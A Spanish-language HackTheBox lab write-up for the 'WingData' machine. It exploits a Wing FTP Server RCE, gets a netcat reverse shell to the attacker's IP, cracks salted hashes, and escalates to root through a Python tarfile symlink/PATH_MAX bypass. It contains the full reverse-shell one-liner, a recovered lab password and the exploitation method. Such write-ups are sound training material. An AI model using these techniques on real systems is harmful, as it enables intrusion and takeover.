HackTheBox - WingData
Writeup de la máquina Wingdata de HackTheBox
Dificultad
easyTiempo aprox.
~5.5hDatos Iniciales:
10.129.4.246
Nmap Scan
Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:
nmap -sVC -sT -Pn -n -p22,80 10.129.4.246
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 11:20 -0500
Nmap scan report for 10.129.4.246
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nada en UDPPuerto 80
Al entrar al puerto 80, encontramos una página web que habla sobre compartición de archivos:
"At Wing Data Solutions, we’re redefining how teams share and protect data online. Our encrypted platform combines speed, simplicity, and enterprise-grade security — so you can transfer files with total confidence, anywhere in the world."
Varios de los botones que aparecen no llevan a ningún sitio, salvo el que dice Client Portal, que nos lleva a ftp.wingdata.htb.
De nuevo, podíamos imaginar que existía un subdominio dado que en nmap se nos mostraba que la máquina hacía uso de vhosts (
Did not follow redirect to http://wingdata.htb/), lo que hacía probable que existiesen más (si no, para qué serviría usar un vhost principalwingdata.htb?).
Antes de entrar a ftp.wingdata.htb, probamos a enumerar otros vhosts.
No encontramos nada más, así que de momento añadimos ftp.wingdata.htb a /etc/hosts y entramos al subdominio.
Subdominio ftp
ftpAl entrar a http://ftp.wingdata.htb, encontramos un panel de login de WingFTP, con versión Wing FTP Server v7.4.3. Si buscamos esta versión, vemos que es vulnerable a CVE-2025-47812 (Unauthenticated RCE).
Según el NVD: In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle '\0' bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts.
Tenemos disponibles exploits públicos para esta vulnerabilidad, como este. Lo descargamos y ejecutamos:
Mediante el RCE sacamos algo de info antes de intentar conseguir un reverse shell:
Dump de
/etc/passwd: usuarios interactivosroot,wingftp,wacky.wingftpusabashcomo shell, pero no tiene directorio en/home, sino en/opt/wingftpUbicación del servidor web en
/opt/wftpserver
Intentos fallidos de Reverse Shell y SSH
Al principio intento conseguir un reverse shell mediante el RCE, pero parece no funcionar:
Pasado un rato probando alternativas de revshell, pruebo a crear un par de claves de ssh, dado que, aunque el usuario wingftp no tiene directorio en /home sí tiene uno en opt/wingftp, es posible crearlas sin necesitar permisos sudo.
Tampoco parece funcionar.
Intento exitoso de Reverse Shell
Tras intentarlo un rato largo (~1h) intentando distintas configuraciones y evitando comillas y caracteres especiales, pruebo a hacer URL encoding de todo el payload:
Tomo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.141 4444 >/tmp/fy lo paso a base64:
Creo el payload con el reverse shell dentro en base64:
Encodeo todo a url (con [URLEncoder]](https://www.urlencoder.org/)), queda:
Mandamos el payload:
Mientras tanto, en otra terminal:
Privesc
Al entrar, vemos que somos el usuario wingftp, que el flag de user está (seguramente) en /home/wacky, directorio para el que no tenemos permisos, y que nuestro directorio $HOME /opt/wingftp no existía.
Al ejecutar LinPEAS, aparecen bastantes datos marcados como 95%PE que parecen ser falsos positivos y LinPEAS marcándose a sí mismo, así que nos centramos en los puertos abiertos:
De aquí destacan 2 puertos: 0.0.0.0:5466 (según Internet, el panel de administración de WinFTP), Y 127.0.0.1:8080 (Un posible servidor web, aunque no lo sabemos).
Puerto 5466 - Panel Admin
Aunque el 5466 está en escucha en todas las interfaces, es posible que haya un firewall bloqueando las conexiones entrantes de fuera a este puerto, pues en el análisis inicial no ha aparecido y si intentamos conectarnos ahora tampoco podemos, solo si hacemos curl desde la propia máquina a través del reverse shell.
Como el directorio $HOME de nuestro usuario no existe y no tenemos permisos para crearlo, no podemos crear claves SSH y no podemos hacer port forwarding directo, aunque podemos intentar hacerlo de forma inversa abriendo un servidor ssh en nuestra máquina kali:
Desde la máquina vulnerable:
No parece funcionar, quizás por algún problema con el reverse shell no puede pedir la contraseña y no podemos hacer el túnel. Probamos con otra herramienta para lo mismo, chisel.
Movemos chisel a la máquina vulnerable:
Ponemos nuestra máquina en escucha:
Y conectamos desde el servidor:
Y aquí llegamos al panel de admin.

Necesitamos credenciales, así que las buscamos en el dispositivo. Tras una búsqueda, encontramos los archivos admins.xml, anonymous.xml, john.xml, maria.xml, steve.xml y wacky.xml:
WingFTP usa SHA256, la intentamos crackear con jtr y desde CrackStation, pero no da resultados:
Pasadas unas horas, se me ocurre que (dado que no había avanzado nada más) posiblemente no hubiésemos podido crackear las contraseñas porque había un salt a la hora de hashear que no habíamos visto (y que quizás aplicaba para todas las contraseñas por igual, por eso no salía explícitamente en el hash de cada usuario).
Buscando en los archivos, encuentro lo siguiente:
Tenemos el salt WingFTP, tenemos los hashes, posiblemente ahora podamos crackearlos, aunque necesitamos saber cómo se aplica el salt al hashear. Hay varios formatos válidos en jtr, lo normal es que sea salt,hash o hash,salt. Como, para probar, jtr necesita que le demos hash y salt en el formato HASH$SALT, creamos el archivo:
Y tenemos la contraseña !#7Blushing^*Bride5, que corresponde al hash 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca, del usuario wacky.
Dado que, como hemos visto al enumerar, este usuario es el que también existe como usuario del SO, probamos a conectarnos por SSH por si se reutilizan contraseñas.
Conexión por SSH, Wacky
Como wacky, ejecutamos sudo -l y vemos lo siguiente:
Al mirar el archivo .py, vemos que se trata de un programa que permite restaurar configuraciones de clientes desde un archivo .tar validado.
Script restore_cackup_clients.py
restore_cackup_clients.pyVemos que el script hace lo siguiente:
Primero establece una serie de rutas
Define dos argumentos obligatorios
-b/--backup: Nombre del archivo backup-r/--restore: Nombre del directorio donde se restaurará el contenido
Valida nombre del backup, formar ruta absoluta del backup y verificar que existe
Valida restore_dir
Crea directorio de staging (si no existe todavía)
Extrae el archivo
.tar
En resumen:
Tienes un archivo en
/opt/backup_clients/backups/, p.ejbackup_1234.tar, con configuraciones previamente guardadas.El archivo
.tarse extrae en la carpeta de Staging:/opt/backup_clients/restored_backups/<restore_dir>, p.ejrestore_wacky/
Si miramos el programa, vemos que podríamos usar /opt/backup_clients/restored_backups/ y crear un enlace simbólico ahí que apuntase a, p.ej, /root/.ssh/, para luego crear un tarball con nuestra clave pública ssh y hacer que el programa lo extrayese. El único inconveniente con esto es que no tenemos permisos de escritura en /opt/backup_clients/restored_backups/.
Como no podemos hacer mucho, miramos si el problema está en python más que en el script en sí:
Si hacemos una búsqueda rápida:
Python 3.12.3 contains multiple vulnerabilities in the tarfile module that allow attackers to modify files or permissions outside the extraction directory, which can lead to privilege escalation.
Las principales: CVE-2024-12718, CVE-2025-4517, CVE-2025-4138
CVE-2024-12718: Si el módulotarusafilter='tar', podemos cambiar permisos de archivos, en este caso se usa'data'así que lo descartamos.CVE-2025-4517yCVE-2025-4138usan prácticamente la misma técnica de explotación,
CVE-2025-4138 / CVE-2025-4517
Tenemos disponible un PoC público que explica las vulnerabilidades, podemos basarnos en él para construir uno que haga lo mismo:
La explotación consiste en lo siguiente: En un python completamente vulnerable, si estuviésemos limitados a un directorio específico y no pudiésemos subir arriba de forma relativa (..) o absoluta (/), sería posible crear un .tar con un symlink que, p.ej, apuntase a /, para que luego todo lo que se descomprimiese del .tar, se crease en una ruta a partir del symlink, es decir, a partir de / (p.ej, copiar nuestra clave pública a /root/authorized_keys).
El problema que tiene esto es que en nuestro script, el filtro data en:
vería, tras resolver nuestro symlink malicioso, que la ruta real es / (o .. si lo usásemos) y nos indicaría que no está permitido realizar esa operación porque está fuera de nuestros límites.
Esto lo podemos aprovechar usando un problema que tiene Python en esta versión:
El SO tiene un límite llamado
PATH_MAX(Normalmente, según el PoC, de 4096 bytes), cuando Python intenta averiguar a dónde va un archivo realmente, usaos.path.realpath(), que resuelve los enlaces.Si creamos un string que, al resolverse, supera los 4096B,
os.path.realpath()deja de resolver al saturarse.El filtro
datamira la ruta "a medio resolver", como no ha terminado aún, no apunta a/y no hay problema, se la pasa al kernel para que escriba el archivo.El kernel tiene límites más amplios, cuando recoge la ruta, resuelve la ruta completa, y el archivo escapa.
Con el objetivo de copiar nuestra clave pública a /root/.ssh/authorized_keys, primero creamos el par de claves:
Ahora tomamos un PoC encargado de hacer esto y lo ejecutamos
Desde nuestra máquina:
Y somos root.
Última actualización